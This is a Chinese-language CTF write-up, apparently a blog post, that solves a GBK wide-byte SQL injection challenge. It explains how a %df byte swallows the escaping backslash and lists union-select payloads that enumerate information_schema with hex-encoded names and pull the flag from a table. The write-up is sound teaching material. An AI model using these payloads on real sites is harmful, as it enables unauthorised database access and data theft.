CG CTF -- GBK Injection

宽字节注入:

原理:输入%df和函数执行添加的%5C,被合并成%df%5C。由于GBK是两字节,这个%df%5C被MYSQL识别为GBK。导致本应的 %df \ 变成%df%5C。%df%5C在GBK编码中没有对应,所以被当成无效字符。

拿到题目,根据题目判断应该是宽字节注入,先输入 ’ 试试

在这里插入图片描述

看到 \ 转义了输入的单引号,此时在加入%df进行尝试

在这里插入图片描述

报错了,应该是过滤了# ,那么可以换成%23试试

在这里插入图片描述

OK,那么现在就可以正常进行sql注入了,使用order by 来测试

order by 3

3报错

3报错,2正常

order by 2
在这里插入图片描述

查询当前数据库

union select 1,database() %23

在这里插入图片描述

查询表名,但是题目对单引号有转义,所以可以将sae-chinalover转换成16进制 即:7361652d6368696e616c6f766572

union select 1,(select group_concat(table_name) from information_schema.tables where= table_schema=0x7361652d6368696e616c6f766572)%23
在这里插入图片描述

进行尝试,发现flag在ctf4里面

union select 1,(select group_concat(column_name) from information_schema.columns where table_name=0x63746634)%23
在这里插入图片描述

union select 1,(select flag from ctf4) %23
在这里插入图片描述

判断是否为宽字节注入也可以使用两个%df进行测试

一个%df 报错:

在这里插入图片描述

两个%df正常:

在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值